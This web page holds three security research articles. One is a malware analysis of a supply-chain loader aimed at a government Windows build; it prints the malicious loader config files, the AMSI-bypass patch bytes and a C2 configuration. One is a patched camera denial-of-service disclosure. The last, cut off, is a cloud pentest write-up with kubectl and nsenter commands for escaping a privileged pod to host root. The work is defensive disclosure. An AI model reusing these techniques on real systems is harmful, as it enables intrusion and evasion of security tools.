Reading view
Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

Introduction
A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.
The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.
Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.
Background
During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:
C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d
Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.
Initial infection
The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:
Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:
C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
After the file is launched in this manner, the infection chain progresses to stage 1.
Stage 1
Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.
Step 1
The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
</appDomainManagerType>
<appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35">
</appDomainManagerAssembly>
<NGenAssemblyUsageLog enabled="0" />
</runtime>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
</startup>
</configuration>
According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:
<?xml version="1.0" encoding="utf-8"?>
<section name="foo">
<customType className="System.Resources.ResXResourceSet, System.Windows.Forms,
Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089(Resources.resx)" />
</section>
Step 2
The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.
In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:
The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.
Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.
XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.
Step 3
The XAML-1 code acts as a loader for an embedded payload. The process is as follows:
- Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
- Generate the AES key by hashing the command‑line string with SHA‑256.
- Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
- Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
- If any exception occurs during decryption, trigger
Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.
Stage 2
XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.
XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().
XAML-2-1
The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.
To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.
The key steps it takes to achieve its goal are as follows:
- Check the OS architecture by verifying whether
IntPtr.Sizeequals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation. - Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
- Patch the AMSI module.
- Create a delegate for the runtime method
Console.Clear()and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3). - Obtain the native pointer of the AMSI COM object with
Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of theCAmsiAntimalware::Scanmethod. - Use
VirtualProtect()to make theScan()pointer writable, change its value from the address of theCAmsiAntimalware::Scan()method to the address of the patchedConsole.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returnsAMSI_RESULT_CLEAN (value = 0).
- Create a delegate for the runtime method
One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.
XAML-2-2
XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.
.NET 1 Loader
.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:
{
"p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
"c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
}
- JSON-1-c
This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.c null Reporting C2 server. The result returned by the m.C()method of .NET 1 Loader is sent to this server.tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. e null The AES key that encrypts the JSON result returned by the m.C()method of .NET 1 Loader. - JSON-1-p
JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:oib: Base64‑encoded .NET 2 Plugin (PE file)oub: Base64‑encoded XAML that invokes Exit(0)ibk: AES key used to decrypt ibiibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.
Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.
[ { "c": [ { "cu": "https://openaigpt4v.com/model_v4/", "tp": "*", "rh": "" } ], "mib": 79200, "mab": 100800, "mis": 1200, "mas": 2400, "e": "9fT04e03tAiZAPogcDWt0w==", "ii": null, "aop": null, "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...", "oub": "PFJlc291cmNlRGljdGlvbmFyeS...", "wi": 100801, "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=", "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ]
After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:
- Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
- Delete malicious files extracted from the CAB
PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx
- Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.
%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf
- Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
"%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"
- Delete malicious files extracted from the CAB
- Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}. - Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
- Verify that the current user is an administrator; if not, throw an exception with code 128.
- Check whether the configuration item
aopexists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9. - Generate a unique malware instance ID for the configuration item
iiby callingGuid.NewGuid(). - Query the
SusClientIdvalue from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration itemsiby computing a GUID using the same algorithm as above. Use the concatenation of the retrievedSusClientIdvalue and the byte sequence\x14\x43\x9B\x64as the input data for the algorithm. - Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
- Create a COM instance of
WScript.Shell(CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set theCOMPlus_ETWEnabledenvironment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events. - Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
- The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item
e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.[ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] - POST the encrypted and encoded result to the reporting C2 server.
XAML-3
XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).
The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.
Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).
The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.
Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.
The C2 configuration in XAML‑P2 is shown below:
| Item | Value | Description |
| ii | 94aafd58-c00c-402a-aae6-858b4486a1a4 | Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one). |
| ec | 9fT04e03tAiZAPogcDWt0w== | Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication. |
| bi | 79200-100800 | Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals. |
| is | 1200-2400 | Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion. |
| u | Base64encodedXAML | A short XAML snippet that calls Environment.Exit(0) |
| wi | 100801 | Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process. |
| de | False | Local exception logging switch: when set to False, exception logging is enabled. |
| si | 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 | UID: generated using a custom method based on the registry key value SusClientId. |
| cu | https://openaigpt4vcom/model_v4/ | Command-and-control (C2) server URL taken from the C2 server list. |
| tp | * | Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu. |
| rh | Additional route header/data: not configured in this instance. |
When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().
.NET 2 Plugin
This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.
The following key steps are executed in this thread:
- Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
- Gather system information from the registry:
-
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
- Combine the queried values into a single string, for example:
"4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
-
- Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
- Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
- If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
-
"LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = ""
- Anti-analysis: Check whether the current host process is dllhost.exe by examining
Environment.CommandLine. - Prevent the host process from exiting: Create a managed object and retrieve its
IUnknowninterface. Then call ole32.dll’sCoLockObjectExternal(IUnknown interface)to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system. - Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
- Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item
wi) before invoking the callback. The callback fetches the configuration itemu, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggersEnvironment.Exit(0). - Periodic polling:
- Retrieve the config items
cuandiito build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4 - Obtain the system proxy using three methods (see the Discovering proxies section below).
- Register an HTTPS callback (
ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection. - Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
- Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.
// Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
- Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item
rh. - Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
- If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.
- Retrieve the config items
AES encryption scheme for network traffic
All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.
For a given master key and a single-byte seed, the derivation works as follows:
- Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
- Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
- Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
- Take the first 16 bytes of the resulting hash; this becomes the final derived key.
Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.
| Seed | Key type generated (client side) | Key type generated (server side) |
| 0 | Decryption key | Encryption key |
| 1 | Decryption authentication key | Encryption authentication key |
| 2 | Encryption key | Decryption key |
| 3 | Encryption authentication key | Decryption authentication key |
The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.
Discovering proxies
.NET 2 Plugin detects the system proxy using three methods:
- Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression
(?:([a-zA-Z]+)=)?(.*). - If that fails, locate the running explorer.exe process, impersonate its access token using
Impersonate(), and retrieve its proxy configuration with the .NET APIWebProxy.GetDefaultProxy(). - If both methods fail, fall back to obtaining the proxy from the .NET property
DefaultWebProxy.
These methods ensure that the malware can reach external networks even in complex network environments with proxies.
Execute downloaded XAML payload in an isolated AppDomain
This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.
In more detail, the process is as follows:
- Create a new isolated AppDomain with a randomly generated GUID as its name.
- Copy all configuration data from the current AppDomain into the new one.
- Set the proxy information in the new AppDomain and assign it to the variable
px. - Use TypeConfuseDelegate to replace
TimeZoneInfo.ClearCachedData()withXamlReader.Parse(), thereby modifying theMulticastDelegate(CrossAppDomainDelegate). - Use
appDomain.DoCallBack()to invokeXamlReader.Parse()within the isolated AppDomain, executing the downloaded XAML payload. - Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
- Unload the isolated AppDomain to complete the cleanup.
This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.
Infrastructure
The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.
| Domain | IP | First seen | Domain Registrar/ASN |
| openaigpt4v[.]com | 104.18.14[.]219 | Sep 27, 2023 | Cloudflare, Inc. / 15169 |
Victims
Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.
Attribution
After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.
Conclusions
Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.
Indicators of Compromise
File hashes
F2458ED133F8D0CA19E22C10F577E98E e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4 Resources.resx
AB81564BCB8CA7E710C66832DE747556 .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1 .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5 fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3 PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632 XAML-1
9000820D8153C24CD60D53001D3A97B6 XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6 XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5 XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD XAML-3
File paths
C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx
Domains and IPs




OffSec Launches Free PHP2Shell Lab Following Critical Vulnerability Discovery
Millions of security cameras at risk: DoS vulnerability in Intelbras devices

Background
Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.
During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.
Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.
Firmware
Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.
To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.
How authentication works
The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete.
Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash, where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID.
If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.
Affected endpoint
The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.
PoC: vulnerability exploitation
Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade.
Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.
After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.
The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.
New firmware version
After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.
Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.
Real risk
An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.
The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.
Takeaways
This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.




An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Introduction
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
1. Gaining initial access through a managed Kubernetes cluster
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
1.1. Escaping the worker node
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
kubectl run pod-name-bla \
--image=alpine \
--restart=Never \
--overrides='
{
"apiVersion": "v1",
"spec": {
"hostPID": true,
"containers": [
{
"name": "priv",
"image": "alpine",
"command": [ "sh", "-c", "sleep 3600" ],
"stdin": true,
"tty": true,
"securityContext": {
"privileged": true
}
}
]
}
}'After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:
nsenter --target 1 --mount --uts --ipc --net --pid – bash
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
